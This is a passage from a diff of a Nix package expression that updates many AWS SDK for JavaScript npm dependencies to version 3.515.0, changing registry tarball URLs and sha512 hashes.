"https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.503.1.tgz"; - sha512 = "rTdlFFGoPPFMF2YjtlfRuSgKI+XsF49u7d98255hySwhsbwd3Xp+utTTPquxP+CwDxMHbDlI7NxDzFiFdsoZug=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.515.0.tgz"; + sha512 = "Ba6FXK77vU4WyheiamNjEuTFmir0eAXuJGPO27lBaA8g+V/seXGHScsbOG14aQGDOr2P02OPwKGZrWWA7BFpfQ=="; }; }; "@aws-sdk/credential-provider-imds-3.296.0" = { @@ -535,13 +535,13 @@ let sha512 = "U0ecY0GX2jeDAgmTzaVO9YgjlLUfb8wgZSu1OwbOxCJscL/5eFkhcF0/xJQXDbRgcj4H4dlquqeSWsBVl/PgvQ=="; }; }; - "@aws-sdk/credential-provider-ini-3.504.0" = { + "@aws-sdk/credential-provider-ini-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-ini"; packageName = "@aws-sdk/credential-provider-ini"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.504.0.tgz"; - sha512 = "ODICLXfr8xTUd3wweprH32Ge41yuBa+u3j0JUcLdTUO1N9ldczSMdo8zOPlP0z4doqD3xbnqMkjNQWgN/Q+5oQ=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.515.0.tgz"; + sha512 = "ouDlNZdv2TKeVEA/YZk2+XklTXyAAGdbWnl4IgN9ItaodWI+lZjdIoNC8BAooVH+atIV/cZgoGTGQL7j2TxJ9A=="; }; }; "@aws-sdk/credential-provider-node-3.296.0" = { @@ -553,13 +553,13 @@ let sha512 = "oCkmh2b1DQhHkhd/qA9jiSIOkrBBK7cMg1/PVIgLw8e15NkzUHBObLJ/ZQw6ZzCxZzjlMYaFv9oCB8hyO8txmA=="; }; }; - "@aws-sdk/credential-provider-node-3.504.0" = { + "@aws-sdk/credential-provider-node-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-node"; packageName = "@aws-sdk/credential-provider-node"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.504.0.tgz"; - sha512 = "6+V5hIh+tILmUjf2ZQWQINR3atxQVgH/bFrGdSR/sHSp/tEgw3m0xWL3IRslWU1e4/GtXrfg1iYnMknXy68Ikw=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.515.0.tgz"; + sha512 = "Y4kHSpbxksiCZZNcvsiKUd8Fb2XlyUuONEwqWFNL82ZH6TCCjBGS31wJQCSxBHqYcOL3tiORUEJkoO7uS30uQA=="; }; }; "@aws-sdk/credential-provider-process-3.296.0" = { @@ -571,13 +571,13 @@ let sha512 = "AY7sTX2dGi8ripuCpcJLYHOZB2wJ6NnseyK/kK5TfJn/pgboKwuGtz0hkJCVprNWomKa6IpHksm7vLQ4O2E+UA=="; }; }; - "@aws-sdk/credential-provider-process-3.502.0" = { + "@aws-sdk/credential-provider-process-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-process"; packageName = "@aws-sdk/credential-provider-process"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.502.0.tgz"; - sha512 = "fJJowOjQ4infYQX0E1J3xFVlmuwEYJAFk0Mo1qwafWmEthsBJs+6BR2RiWDELHKrSK35u4Pf3fu3RkYuCtmQFw=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.515.0.tgz"; + sha512 = "pSjiOA2FM63LHRKNDvEpBRp80FVGT0Mw/gzgbqFXP+sewk0WVonYbEcMDTJptH3VsLPGzqH/DQ1YL/aEIBuXFQ=="; }; }; "@aws-sdk/credential-provider-sso-3.296.0" = { @@ -589,13 +589,13 @@ let sha512 = "zPFHDX/niXfcQrKQhmBv1XPYEe4b7im4vRKrzjYXgDRpG2M3LP0KaWIwN6Ap+GRYBNBthen86vhTlmKGzyU5YA=="; }; }; - "@aws-sdk/credential-provider-sso-3.504.0" = { + "@aws-sdk/credential-provider-sso-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-sso"; packageName = "@aws-sdk/credential-provider-sso"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.504.0.tgz"; - sha512 = "4MgH2or2SjPzaxM08DCW+BjaX4DSsEGJlicHKmz6fh+w9JmLh750oXcTnbvgUeVz075jcs6qTKjvUcsdGM/t8Q=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.515.0.tgz"; + sha512 = "j7vUkiSmuhpBvZYoPTRTI4ePnQbiZMFl6TNhg9b9DprC1zHkucsZnhRhqjOVlrw/H6J4jmcPGcHHTZ5WQNI5xQ=="; }; }; "@aws-sdk/credential-provider-web-identity-3.296.0" = { @@ -607,13 +607,13 @@ let sha512 = "Rl6Ohoekxe+pccA55XXQDW5wApbg3rGWr6FkmPRcg7Ld6Vfe+HL8OtfsFf83/0eoFerevbif+00BdknXWT05LA=="; }; }; - "@aws-sdk/credential-provider-web-identity-3.504.0" = { + "@aws-sdk/credential-provider-web-identity-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-web-identity"; packageName = "@aws-sdk/credential-provider-web-identity"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.504.0.tgz"; - sha512 = "L1ljCvGpIEFdJk087ijf2ohg7HBclOeB1UgBxUBBzf4iPRZTQzd2chGaKj0hm2VVaXz7nglswJeURH5PFcS5oA=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.515.0.tgz"; + sha512 = "66+2g4z3fWwdoGReY8aUHvm6JrKZMTRxjuizljVmMyOBttKPeBYXvUTop/g3ZGUx1f8j+C5qsGK52viYBvtjuQ=="; }; }; "@aws-sdk/eventstream-codec-3.296.0" = { @@ -715,13 +715,13 @@ let sha512 = "SCIt10cr5dud7hvwveU4wkLjvkGssJ3GrcbHCds2NwI+JHmpcaaNYLAqi305JAuT29T36U5ssTFDSmrrEOcfag=="; }; }; - "@aws-sdk/lib-storage-3.504.0" = { + "@aws-sdk/lib-storage-3.515.0" = { name = "_at_aws-sdk_slash_lib-storage"; packageName = "@aws-sdk/lib-storage"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/lib-storage/-/lib-storage-3.504.0.tgz"; - sha512 = "A2h/yHy+2JFhqiCL1vfSlKxLRIZyyQte58O8s0yAV/TDt7ElzeXMTVtCUvhcOrnjtdHKfh4F36jeZSh1ja/9HA=="; + url = "https://registry.npmjs.org/@aws-sdk/lib-storage/-/lib-storage-3.515.0.tgz"; + sha512 = "/7z/3KnMs1ODNS9c8Skj/DFTsy6/v7n17clh1IGOcTYhhioCMA3MIzIZecWFeLjPYcUSkNQHIIjKFQt1nhZkwA=="; }; }; "@aws-sdk/md5-js-3.296.0" = { @@ -742,13 +742,13 @@ let sha512 = "Xhzucs5psscjXJW7V6vMrjJWGmej8Xtw8XIKd91RLmbxdmecMy85/mQC3bIqxgTGhC/e3pKqWSp8z/YjV6iPZg=="; }; }; - "@aws-sdk/middleware-bucket-endpoint-3.502.0" = { + "@aws-sdk/middleware-bucket-endpoint-3.515.0" = { name = "_at_aws-sdk_slash_middleware-bucket-endpoint"; packageName = "@aws-sdk/middleware-bucket-endpoint"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-bucket-endpoint/-/middleware-bucket-endpoint-3.502.0.tgz"; - sha512 = "mUSP2DUcjhO5zM2b21CvZ9AqwI8DaAeZA6NYHOxWGTV9BUxHcdGWXEjDkcVj9CQ0gvNwTtw6B5L/q52rVAnZbw=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-bucket-endpoint/-/middleware-bucket-endpoint-3.515.0.tgz"; + sha512 = "Vm423j3udFrhKPaKiXtie+6aF05efjX8lhAu5VOruIvbam7olvdWNdkH7sGWlz1ko3CVa7PwOYjGHiOOhxpEOA=="; }; }; "@aws-sdk/middleware-content-length-3.296.0" = { @@ -778,13 +778,13 @@ let sha512 = "aVCv9CdAVWt9AlZKQZRweIywkAszRrZUCo8K5bBUJNdD4061DoDqLK/6jmqXmObas0j1wQr/eNzjYbv99MZBCg=="; }; }; - "@aws-sdk/middleware-expect-continue-3.502.0" = { + "@aws-sdk/middleware-expect-continue-3.515.0" = { name = "_at_aws-sdk_slash_middleware-expect-continue"; packageName = "@aws-sdk/middleware-expect-continue"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-expect-continue/-/middleware-expect-continue-3.502.0.tgz"; - sha512 = "DxfAuBVuPSt8as9xP57o8ks6ySVSjwO2NNNAdpLwk4KhEAPYEpHlf2yWYorYLrS+dDmwfYgOhRNoguuBdCu6ow=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-expect-continue/-/middleware-expect-continue-3.515.0.tgz"; + sha512 = "TWCXulivab4reOMx/vxa/IwnPX78fLwI9NUoAxjsqB6W9qjmSnPD43BSVeGvbbl/YNmgk7XfMbZb6IgxW7RyzA=="; }; }; "@aws-sdk/middleware-flexible-checksums-3.296.0" = { @@ -796,13 +796,13 @@ let sha512 = "F5wVMhLIgA86PKsK/Az7LGIiNVDdZjoSn0+boe6fYW/AIAmgJhPf//500Md0GsKsLOCcPcxiQC43a0hVT2zbew=="; }; }; - "@aws-sdk/middleware-flexible-checksums-3.502.0" = { + "@aws-sdk/middleware-flexible-checksums-3.515.0" = { name = "_at_aws-sdk_slash_middleware-flexible-checksums"; packageName = "@aws-sdk/middleware-flexible-checksums"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-flexible-checksums/-/middleware-flexible-checksums-3.502.0.tgz"; - sha512 = "kCt2zQDFumz/LnJJJOSd2GW4dr8oT8YMJKgxC/pph3aRXoSHXRwhrMbFnQ8swEE9vjywxtcED8sym0b0tNhhoA=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-flexible-checksums/-/middleware-flexible-checksums-3.515.0.tgz"; + sha512 = "ydGjnqNeYlJaAkmQeQnS4pZRAAvzefdm8c234Qh0Fg55xRwHTNLp7uYsdfkTjrdAlj6YIO3Zr6vK6VJ6MGCwug=="; }; }; "@aws-sdk/middleware-host-header-3.296.0" = { @@ -814,13 +814,13 @@ let sha512 = "V47dFtfkX5lXWv9GDp71gZVCRws4fEdQ9QF9BQ/2UMSNrYjQLg6mFe7NibH+IJoNOid2FIwWIl94Eos636VGYQ=="; }; }; - "@aws-sdk/middleware-host-header-3.502.0" = { + "@aws-sdk/middleware-host-header-3.515.0" = { name = "_at_aws-sdk_slash_middleware-host-header"; packageName = "@aws-sdk/middleware-host-header"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.502.0.tgz"; - sha512 = "EjnG0GTYXT/wJBmm5/mTjDcAkzU8L7wQjOzd3FTXuTCNNyvAvwrszbOj5FlarEw5XJBbQiZtBs+I5u9+zy560w=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.515.0.tgz"; + sha512 = "I1MwWPzdRKM1luvdDdjdGsDjNVPhj9zaIytEchjTY40NcKOg+p2evLD2y69ozzg8pyXK63r8DdvDGOo9QPuh0A=="; }; }; "@aws-sdk/middleware-location-constraint-3.296.0" = { @@ -832,13 +832,13 @@ let sha512 = "KHkWaIrZOtJmV1/WO9KOf7kSK41ngfqts3YIun956NYglKTDKyrBIOPCgmXTT/03odnYsKVT/UfbEIh/v4RxGA=="; }; }; - "@aws-sdk/middleware-location-constraint-3.502.0" = { + "@aws-sdk/middleware-location-constraint-3.515.0" = { name = "_at_aws-sdk_slash_middleware-location-constraint"; packageName = "@aws-sdk/middleware-location-constraint"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-location-constraint/-/middleware-location-constraint-3.502.0.tgz"; - sha512 = "fLRwPuTZvEWQkPjys03m3D6tYN4kf7zU6+c8mJxwvEg+yfBuv2RBsbd+Vn2bTisUjXvIg1kyBzONlpHoIyFneg=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-location-constraint/-/middleware-location-constraint-3.515.0.tgz"; + sha512 = "ORFC5oijjTJsHhUXy9o52/vl5Irf6e83bE/8tBp+sVVx81+E8zTTWZbysoa41c0B5Ycd0H3wCWutvjdXT16ydQ=="; }; }; "@aws-sdk/middleware-logger-3.296.0" = { @@ -850,13 +850,13 @@ let sha512 = "LzfEEFyBR9LXdWwLdtBrmi1vLdzgdJNntEgzqktVF8LwaCyY+9xIE6TGu/2V+9fJHAwECxjOC1eQbNQdAZ0Tmw=="; }; }; - "@aws-sdk/middleware-logger-3.502.0" = { + "@aws-sdk/middleware-logger-3.515.0" = { name = "_at_aws-sdk_slash_middleware-logger"; packageName = "@aws-sdk/middleware-logger"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.502.0.tgz"; - sha512 = "FDyv6K4nCoHxbjLGS2H8ex8I0KDIiu4FJgVRPs140ZJy6gE5Pwxzv6YTzZGLMrnqcIs9gh065Lf6DjwMelZqaw=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.515.0.tgz"; + sha512 = "qXomJzg2m/5seQOxHi/yOXOKfSjwrrJSmEmfwJKJyQgdMbBcjz3Cz0H/1LyC6c5hHm6a/SZgSTzDAbAoUmyL+Q=="; }; }; "@aws-sdk/middleware-recursion-detection-3.296.0" = { @@ -868,13 +868,13 @@ let sha512 = "UG7TLDPz9ImQG0uVklHTxE9Us7rTImwN+6el6qZCpoTBuGeXgOkfb0/p8izJyFgY/hMUR4cZqs7IdCDUkxQF3w=="; }; }; - "@aws-sdk/middleware-recursion-detection-3.502.0" = { + "@aws-sdk/middleware-recursion-detection-3.515.0" = { name = "_at_aws-sdk_slash_middleware-recursion-detection"; packageName = "@aws-sdk/middleware-recursion-detection"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.502.0.tgz"; - sha512 = "hvbyGJbxeuezxOu8VfFmcV4ql1hKXLxHTe5FNYfEBat2KaZXVhc1Hg+4TvB06/53p+E8J99Afmumkqbxs2esUA=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.515.0.tgz"; + sha512 = "dokHLbTV3IHRIBrw9mGoxcNTnQsjlm7TpkJhPdGT9T4Mq399EyQo51u6IsVMm07RXLl2Zw7u+u9p+qWBFzmFRA=="; }; }; "@aws-sdk/middleware-retry-3.296.0" = { @@ -895,13 +895,13 @@ let sha512 = "zH4uZKEqumo01wn+dTwrYnvOui9GjDiuBHdECnSjnA0Mkxo/tfMPYzYD7mE8kUlBz7HfQcXeXlyaApj9fPkxvg=="; }; }; - "@aws-sdk/middleware-sdk-s3-3.502.0" = { + "@aws-sdk/middleware-sdk-s3-3.515.0" = { name = "_at_aws-sdk_slash_middleware-sdk-s3"; packageName = "@aws-sdk/middleware-sdk-s3"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.502.0.tgz"; - sha512 = "GbGugrfyL5bNA/zw8iQll92yXBONfWSC8Ns00DtkOU1saPXp4/7WHtyyZGYdvPa73T1IsuZy9egpoYRBmRcd5Q=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.515.0.tgz"; + sha512 = "vB8JwiTEAqm1UT9xfugnCgl0H0dtBLUQQK99JwQEWjHPZmQ3HQuVkykmJRY3X0hzKMEgqXodz0hZOvf3Hq1mvQ=="; }; }; "@aws-sdk/middleware-sdk-sts-3.296.0" = { @@ -931,13 +931,13 @@ let sha512 = "wyiG+WPDvugGTIPpKchGOdvvpcMZEN2IfP6iK//QAqGXsC6rDm5+SNZ3+elvduZjPUdVA06W0CcFYBAkVz8D7Q=="; }; }; - "@aws-sdk/middleware-signing-3.502.0" = { + "@aws-sdk/middleware-signing-3.515.0" = { name = "_at_aws-sdk_slash_middleware-signing"; packageName = "@aws-sdk/middleware-signing"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-signing/-/middleware-signing-3.502.0.tgz"; - sha512 = "4hF08vSzJ7L6sB+393gOFj3s2N6nLusYS0XrMW6wYNFU10IDdbf8Z3TZ7gysDJJHEGQPmTAesPEDBsasGWcMxg=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-signing/-/middleware-signing-3.515.0.tgz"; + sha512 = "SdjCyQCL702I07KhCiBFcoh6+NYtnruHJQIzWwMpBteuYHnCHW1k9uZ6pqacsS+Y6qpAKfTVNpQx2zP2s6QoHA=="; }; }; "@aws-sdk/middleware-ssec-3.296.0" = { @@ -949,13 +949,13 @@ let sha512 = "vcSyXxEXAC9rWzUd7rq2/JxPdt87DKiA+wfiBrpGvFV+bacocIV0TFcpJncgZqMOoP8b6Osd+mW4BjlkwBamtA=="; }; }; - "@aws-sdk/middleware-ssec-3.502.0" = { + "@aws-sdk/middleware-ssec-3.515.0" = { name = "_at_aws-sdk_slash_middleware-ssec"; packageName = "@aws-sdk/middleware-ssec"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-ssec/-/middleware-ssec-3.502.0.tgz"; - sha512 = "1nidVTIba6/aVjjzD/WNqWdzSyTrXOHO3Ddz2MGD8S1yGSrYz4iYaq4Bm/uosfdr8B1L0Ws0pjdRXrNfzSw/DQ=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-ssec/-/middleware-ssec-3.515.0.tgz"; + sha512 = "0qLjKiorosVBzzaV/o7MEyS9xqLLu02qGbP564Z/FZY74JUQEpBNedgveMUbb6lqr85RnOuwZ0GZ0cBRfH2brQ=="; }; }; "@aws-sdk/middleware-stack-3.296.0" = { @@ -976,13 +976,13 @@ let sha512 = "L7jacxSt6gxX1gD3tQtfwHqBDk5rT2wWD3rxBa6rs7f81b9ObgY/sPT2IgRT7JNCVzvKLYFxJaTklDj65mY1SQ=="; }; }; - "@aws-sdk/middleware-user-agent-3.502.0" = { + "@aws-sdk/middleware-user-agent-3.515.0" = { name = "_at_aws-sdk_slash_middleware-user-agent"; packageName = "@aws-sdk/middleware-user-agent"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.502.0.tgz"; - sha512 = "TxbBZbRiXPH0AUxegqiNd9aM9zNSbfjtBs5MEfcBsweeT/B2O7K1EjP9+CkB8Xmk/5FLKhAKLr19b1TNoE27rw=="; + url = "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.515.0.tgz"; + sha512 = "nOqZjGA/GkjuJ5fUshec9Fv6HFd7ovOTxMJbw3MfAhqXuVZ6dKF41lpVJ4imNsgyFt3shUg9WDY8zGFjlYMB3g=="; }; }; "@aws-sdk/node-config-provider-3.296.0" = { @@ -1039,22 +1039,22 @@ let sha512 = "nLNZKVQfK42euv7101cE5qfg17YCtGcfccx3B5XSAzvyTROR46kwYqbEvYSsWisbZoRhbQc905gB/5E0U5HDIw=="; }; }; - "@aws-sdk/region-config-resolver-3.502.0" = { + "@aws-sdk/region-config-resolver-3.515.0" = { name = "_at_aws-sdk_slash_region-config-resolver"; packageName = "@aws-sdk/region-config-resolver"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.502.0.tgz"; - sha512 = "mxmsX2AGgnSM+Sah7mcQCIneOsJQNiLX0COwEttuf8eO+6cLMAZvVudH3BnWTfea4/A9nuri9DLCqBvEmPrilg=="; + url = "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.515.0.tgz"; + sha512 = "RIRx9loxMgEAc/r1wPfnfShOuzn4RBi8pPPv6/jhhITEeMnJe6enAh2k5y9DdiVDDgCWZgVFSv0YkAIfzAFsnQ=="; }; }; - "@aws-sdk/s3-presigned-post-3.504.0" = { + "@aws-sdk/s3-presigned-post-3.515.0" = { name = "_at_aws-sdk_slash_s3-presigned-post"; packageName = "@aws-sdk/s3-presigned-post"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/s3-presigned-post/-/s3-presigned-post-3.504.0.tgz"; - sha512 = "XKLdhfGz0CpTGWflw7NtXmdDetRHJ/EctyezIy6noHeGLNkHUUqmrqtWmwiW3tkd8pGOqpPU51f60kVHzL1z8A=="; + url = "https://registry.npmjs.org/@aws-sdk/s3-presigned-post/-/s3-presigned-post-3.515.0.tgz"; + sha512 = "YQfqo0TlMX5F9gC1fjJBxEBpKNNNgbTKDwMDoAIECT9saQYgBjL23QLHke9EWizt+OpC94Sns98gCnugori3iQ=="; }; }; "@aws-sdk/s3-request-presigner-3.296.0" = { @@ -1066,13 +1066,13 @@ let sha512 = "BQv+oNA5EzJymrfh7cnMun/ougmTX3eo6bGCWn/bQdL1LyxodeVdRZacD5tN+lAUYtjhQ7yS23ozYh0lvWNEXw=="; }; }; - "@aws-sdk/s3-request-presigner-3.504.0" = { + "@aws-sdk/s3-request-presigner-3.515.0" = { name = "_at_aws-sdk_slash_s3-request-presigner"; packageName = "@aws-sdk/s3-request-presigner"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/s3-request-presigner/-/s3-request-presigner-3.504.0.tgz"; - sha512 = "5FxVdRufiFLSUDJ/Qul5JFPHjhFFzo+C6u53bzbi7gaSshA6lLLhJ9KbVk2LmKE1mTR+nh2+JebI6y+3njtkzw=="; + url = "https://registry.npmjs.org/@aws-sdk/s3-request-presigner/-/s3-request-presigner-3.515.0.tgz"; + sha512 = "B6RcXWJTOHSqZDII/sYeM89MWc//AwA7iIcZk+oXyUSdVTl03z6raJMxWqY0dPx7KuBjLTnZPqUXKCCoQvnp/g=="; }; }; "@aws-sdk/service-error-classification-3.296.0" = { @@ -1102,13 +1102,13 @@ let sha512 = "NQyJ/FClty4VmF1WoV4rOkbN0Unn0zevzy8iJrYhqxE3Sc7lySM4Btnsd4Iqelm2dR6l+jNRApGgD8NvoGjGig=="; }; }; - "@aws-sdk/signature-v4-crt-3.502.0" = { + "@aws-sdk/signature-v4-crt-3.515.0" = { name = "_at_aws-sdk_slash_signature-v4-crt"; packageName = "@aws-sdk/signature-v4-crt"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/signature-v4-crt/-/signature-v4-crt-3.502.0.tgz"; - sha512 = "FBJYOn9nUY4aS7bmOnBV1iKqLyyGDHytxKyRLQxYgRfsdMP7n5ucKBT3xb9YH2anqOC7dTDap/KJuS42dRDXtQ=="; + url = "https://registry.npmjs.org/@aws-sdk/signature-v4-crt/-/signature-v4-crt-3.515.0.tgz"; + sha512 = "bfWsHyNg6+b+97MpJ3frfJfHjXcL7NEk252Al7bhNyhKJnPGhbhDXiudvDE+uiINoZgIJ59xqBBQQdB8ymS4RQ=="; }; }; "@aws-sdk/signature-v4-multi-region-3.296.0" = { @@ -1120,13 +1120,13 @@ let sha512 = "BNMXS0YJEgflPhO2KxXG4f0iTMOGdyxslDMNGmMWGGQm6bbwtqZ7Y9ZyMQYKfzk3GUPpfGQcaaSNiGfURPOCOg=="; }; }; - "@aws-sdk/signature-v4-multi-region-3.502.0" = { + "@aws-sdk/signature-v4-multi-region-3.515.0" = { name = "_at_aws-sdk_slash_signature-v4-multi-region"; packageName = "@aws-sdk/signature-v4-multi-region"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.502.0.tgz"; - sha512 = "NpOXtUXH0ZAgnyI3Y3s2fPrgwbsWoNMwdoXdFZvH0eDzzX80tim7Yuy6dzVA5zrxSzOYs1xjcOhM+4CmM0QZiw=="; + url = "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.515.0.tgz"; + sha512 = "5lrCn4DSE0zL41k0L6moqcdExZhWdAnV0/oMEagrISzQYoia+aNTEeyVD3xqJhRbEW4gCj3Uoyis6c8muf7b9g=="; }; }; "@aws-sdk/smithy-client-3.296.0" = { @@ -1147,13 +1147,13 @@ let sha512 = "yC1ku7A5S+o/CLlgbgDB2bx8+Wq43qj8xfohmTuIhpiP2m/NyUiRVv6S6ARONLI6bVeo1T2/BFk5Q9DfE2xzAQ=="; }; }; - "@aws-sdk/token-providers-3.504.0" = { + "@aws-sdk/token-providers-3.515.0" = { name = "_at_aws-sdk_slash_token-providers"; packageName = "@aws-sdk/token-providers"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.504.0.tgz"; - sha512 = "YIJWWsZi2ClUiILS1uh5L6VjmCUSTI6KKMuL9DkGjYqJ0aI6M8bd8fT9Wm7QmXCyjcArTgr/Atkhia4T7oKvzQ=="; + url = "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.515.0.tgz"; + sha512 = "MQuf04rIcTXqwDzmyHSpFPF1fKEzRl64oXtCRUF3ddxTdK6wxXkePfK6wNCuL+GEbEcJAoCtIGIRpzGPJvQjHA=="; }; }; "@aws-sdk/types-3.296.0" = { @@ -1165,13 +1165,13 @@ let sha512 = "s0wIac64rrMEo2ioUxP9IarGiiCGmelCspNcoNTPSjGl25QqjhyfQqTeGgS58qJ4fHoQb07qra39930xp1IzJg=="; }; }; - "@aws-sdk/types-3.502.0" = { + "@aws-sdk/types-3.515.0" = { name = "_at_aws-sdk_slash_types"; packageName = "@aws-sdk/types"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/types/-/types-3.502.0.tgz"; - sha512 = "M0DSPYe/gXhwD2QHgoukaZv5oDxhW3FfvYIrJptyqUq3OnPJBcDbihHjrE0PBtfh/9kgMZT60/fQ2NVFANfa2g=="; + url = "https://registry.npmjs.org/@aws-sdk/types/-/types-3.515.0.tgz"; + sha512 = "B3gUpiMlpT6ERaLvZZ61D0RyrQPsFYDkCncLPVkZOKkCOoFU46zi1o6T5JcYiz8vkx1q9RGloQ5exh79s5pU/w=="; }; }; "@aws-sdk/url-parser-3.296.0" = { @@ -1282,13 +1282,13 @@ let sha512 = "YraGGLJepXM6HCTaqEGTFf8RFRBdJ0C6uG5k0kVhiXmYxBkeupn8J07CVp9jfWqcPYWElAnMGVEZKU1OjRo4HQ=="; }; }; - "@aws-sdk/util-endpoints-3.502.0" = { + "@aws-sdk/util-endpoints-3.515.0" = { name = "_at_aws-sdk_slash_util-endpoints"; packageName = "@aws-sdk/util-endpoints"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.502.0.tgz"; - sha512 = "6LKFlJPp2J24r1Kpfoz5ESQn+1v5fEjDB3mtUKRdpwarhm3syu7HbKlHCF3KbcCOyahobvLvhoedT78rJFEeeg=="; + url = "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.515.0.tgz"; + sha512 = "UJi+jdwcGFV/F7d3+e2aQn5yZOVpDiAgfgNhPnEtgV0WozJ5/ZUeZBgWvSc/K415N4A4D/9cbBc7+I+35qzcDQ=="; }; }; "@aws-sdk/util-format-url-3.296.0" = { @@ -1300,13 +1300,13 @@ let sha512 = "CcYECzkUAnHL5q3uyPicafn2OY0GiklIYfuOUHPZ/4FMxIesd1BnCDDRjTlFxLWjuNuiihIdwB7Qb1pDzxc3Iw=="; }; }; - "@aws-sdk/util-format-url-3.502.0" = { + "@aws-sdk/util-format-url-3.515.0" = { name = "_at_aws-sdk_slash_util-format-url"; packageName = "@aws-sdk/util-format-url"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.502.0.tgz"; - sha512 = "4+0zBD0ZIJqtTzSE6VRruRwUx3lG+is8Egv+LN99X5y7i6OdrS9ePYHbCJ9FxkzTThgbkUq6k2W7psEDYvn4VA=="; + url = "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.515.0.tgz"; + sha512 = "7BgmUldmECebZU2qUAxOoEkHnji5NZX/j6TcgY4xgl1tUycw72BeKdcQYLUt4YoXQmIGZHiBL8L/TfO48W+FpA=="; }; }; "@aws-sdk/util-hex-encoding-3.295.0" = { @@ -1381,13 +1381,13 @@ let sha512 = "MGGG+09VkF0N+8KEht8NNE6Q7bqmddgqLkUbvzSky0y18UPEZyq9LTC4JZtzDDOzf/swgbq2IQ/5wtB81iouog=="; }; }; - "@aws-sdk/util-user-agent-browser-3.502.0" = 